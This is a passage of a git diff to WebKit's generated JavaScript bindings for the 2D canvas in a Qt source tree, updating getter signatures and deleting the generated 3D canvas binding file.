+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->lineCap());
+    JSValue result = jsString(exec, imp->lineCap());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DLineJoin(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DLineJoin(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->lineJoin());
+    JSValue result = jsString(exec, imp->lineJoin());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DMiterLimit(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DMiterLimit(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->miterLimit());
+    JSValue result = jsNumber(exec, imp->miterLimit());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DShadowOffsetX(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DShadowOffsetX(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->shadowOffsetX());
+    JSValue result = jsNumber(exec, imp->shadowOffsetX());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DShadowOffsetY(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DShadowOffsetY(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->shadowOffsetY());
+    JSValue result = jsNumber(exec, imp->shadowOffsetY());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DShadowBlur(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DShadowBlur(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsNumber(exec, imp->shadowBlur());
+    JSValue result = jsNumber(exec, imp->shadowBlur());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DShadowColor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DShadowColor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->shadowColor());
+    JSValue result = jsString(exec, imp->shadowColor());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DFont(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DFont(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->font());
+    JSValue result = jsString(exec, imp->font());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DTextAlign(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DTextAlign(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->textAlign());
+    JSValue result = jsString(exec, imp->textAlign());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DTextBaseline(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DTextBaseline(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThis->impl());
-    return jsString(exec, imp->textBaseline());
+    JSValue result = jsString(exec, imp->textBaseline());
+    return result;
 }
 
-JSValue jsCanvasRenderingContext2DStrokeStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DStrokeStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     return castedThis->strokeStyle(exec);
 }
 
-JSValue jsCanvasRenderingContext2DFillStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DFillStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* castedThis = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     return castedThis->fillStyle(exec);
 }
 
-JSValue jsCanvasRenderingContext2DConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCanvasRenderingContext2DConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCanvasRenderingContext2D* domObject = static_cast<JSCanvasRenderingContext2D*>(asObject(slot.slotBase()));
+    JSCanvasRenderingContext2D* domObject = static_cast<JSCanvasRenderingContext2D*>(asObject(slotBase));
     return JSCanvasRenderingContext2D::getConstructor(exec, domObject->globalObject());
 }
 void JSCanvasRenderingContext2D::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -345,79 +358,92 @@ void JSCanvasRenderingContext2D::put(ExecState* exec, const Identifier& property
 
 void setJSCanvasRenderingContext2DGlobalAlpha(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setGlobalAlpha(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DGlobalCompositeOperation(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setGlobalCompositeOperation(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSCanvasRenderingContext2DLineWidth(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setLineWidth(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DLineCap(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setLineCap(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSCanvasRenderingContext2DLineJoin(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setLineJoin(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSCanvasRenderingContext2DMiterLimit(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setMiterLimit(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DShadowOffsetX(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setShadowOffsetX(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DShadowOffsetY(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setShadowOffsetY(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DShadowBlur(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setShadowBlur(value.toFloat(exec));
 }
 
 void setJSCanvasRenderingContext2DShadowColor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setShadowColor(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSCanvasRenderingContext2DFont(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setFont(value.toString(exec));
 }
 
 void setJSCanvasRenderingContext2DTextAlign(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setTextAlign(value.toString(exec));
 }
 
 void setJSCanvasRenderingContext2DTextBaseline(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(static_cast<JSCanvasRenderingContext2D*>(thisObject)->impl());
+    JSCanvasRenderingContext2D* castedThisObj = static_cast<JSCanvasRenderingContext2D*>(thisObject);
+    CanvasRenderingContext2D* imp = static_cast<CanvasRenderingContext2D*>(castedThisObj->impl());
     imp->setTextBaseline(value.toString(exec));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.h
index 5637651..218e455 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext2D.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -77,7 +77,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCanvasRenderingContext2DPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -132,37 +132,37 @@ JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext2DPrototypeFunctionGetImageDa
 JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext2DPrototypeFunctionPutImageData(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCanvasRenderingContext2DGlobalAlpha(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DGlobalAlpha(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DGlobalAlpha(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DGlobalCompositeOperation(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DGlobalCompositeOperation(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DGlobalCompositeOperation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DLineWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DLineWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DLineWidth(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DLineCap(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DLineCap(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DLineCap(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DLineJoin(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DLineJoin(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DLineJoin(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DMiterLimit(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DMiterLimit(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DMiterLimit(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DShadowOffsetX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DShadowOffsetX(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DShadowOffsetX(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DShadowOffsetY(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DShadowOffsetY(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DShadowOffsetY(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DShadowBlur(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DShadowBlur(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DShadowBlur(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DShadowColor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DShadowColor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DShadowColor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DFont(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DFont(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DFont(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DTextAlign(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DTextAlign(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DTextAlign(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DTextBaseline(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DTextBaseline(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DTextBaseline(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DStrokeStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DStrokeStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DStrokeStyle(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DFillStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DFillStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCanvasRenderingContext2DFillStyle(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCanvasRenderingContext2DConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCanvasRenderingContext2DConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.cpp
deleted file mode 100644
index 7ed7f05..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.cpp
+++ /dev/null
@@ -1,4528 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasRenderingContext3D.h"
-
-#include "CanvasActiveInfo.h"
-#include "CanvasArray.h"
-#include "CanvasBuffer.h"
-#include "CanvasFloatArray.h"
-#include "CanvasFramebuffer.h"
-#include "CanvasIntArray.h"
-#include "CanvasProgram.h"
-#include "CanvasRenderbuffer.h"
-#include "CanvasRenderingContext3D.h"
-#include "CanvasShader.h"
-#include "CanvasTexture.h"
-#include "CanvasUnsignedByteArray.h"
-#include "JSCanvasActiveInfo.h"
-#include "JSCanvasArray.h"
-#include "JSCanvasBuffer.h"
-#include "JSCanvasFloatArray.h"
-#include "JSCanvasFramebuffer.h"
-#include "JSCanvasIntArray.h"
-#include "JSCanvasProgram.h"
-#include "JSCanvasRenderbuffer.h"
-#include "JSCanvasShader.h"
-#include "JSCanvasTexture.h"
-#include "JSCanvasUnsignedByteArray.h"
-#include "KURL.h"
-#include <runtime/Error.h>
-#include <runtime/JSNumberCell.h>
-#include <runtime/JSString.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasRenderingContext3D);
-
-/* Hash table */
-
-static const HashTableValue JSCanvasRenderingContext3DTableValues[2] =
-{
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCanvasRenderingContext3DConstructor, (intptr_t)0 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasRenderingContext3DTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasRenderingContext3DTableValues, 0 };
-#else
-    { 2, 1, JSCanvasRenderingContext3DTableValues, 0 };
-#endif
-
-/* Hash table for constructor */
-
-static const HashTableValue JSCanvasRenderingContext3DConstructorTableValues[303] =
-{
-    { "DEPTH_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_BUFFER_BIT, (intptr_t)0 },
-    { "STENCIL_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BUFFER_BIT, (intptr_t)0 },
-    { "COLOR_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_BUFFER_BIT, (intptr_t)0 },
-    { "FALSE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFALSE, (intptr_t)0 },
-    { "TRUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRUE, (intptr_t)0 },
-    { "POINTS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOINTS, (intptr_t)0 },
-    { "LINES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINES, (intptr_t)0 },
-    { "LINE_LOOP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_LOOP, (intptr_t)0 },
-    { "LINE_STRIP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_STRIP, (intptr_t)0 },
-    { "TRIANGLES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLES, (intptr_t)0 },
-    { "TRIANGLE_STRIP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLE_STRIP, (intptr_t)0 },
-    { "TRIANGLE_FAN", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLE_FAN, (intptr_t)0 },
-    { "ZERO", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DZERO, (intptr_t)0 },
-    { "ONE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE, (intptr_t)0 },
-    { "SRC_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_COLOR, (intptr_t)0 },
-    { "ONE_MINUS_SRC_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_SRC_COLOR, (intptr_t)0 },
-    { "SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_SRC_ALPHA, (intptr_t)0 },
-    { "DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDST_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_DST_ALPHA, (intptr_t)0 },
-    { "DST_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDST_COLOR, (intptr_t)0 },
-    { "ONE_MINUS_DST_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_DST_COLOR, (intptr_t)0 },
-    { "SRC_ALPHA_SATURATE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_ALPHA_SATURATE, (intptr_t)0 },
-    { "FUNC_ADD", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_ADD, (intptr_t)0 },
-    { "BLEND_EQUATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION, (intptr_t)0 },
-    { "BLEND_EQUATION_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION_RGB, (intptr_t)0 },
-    { "BLEND_EQUATION_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION_ALPHA, (intptr_t)0 },
-    { "FUNC_SUBTRACT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_SUBTRACT, (intptr_t)0 },
-    { "FUNC_REVERSE_SUBTRACT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_REVERSE_SUBTRACT, (intptr_t)0 },
-    { "BLEND_DST_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_DST_RGB, (intptr_t)0 },
-    { "BLEND_SRC_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_SRC_RGB, (intptr_t)0 },
-    { "BLEND_DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_DST_ALPHA, (intptr_t)0 },
-    { "BLEND_SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_SRC_ALPHA, (intptr_t)0 },
-    { "CONSTANT_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCONSTANT_COLOR, (intptr_t)0 },
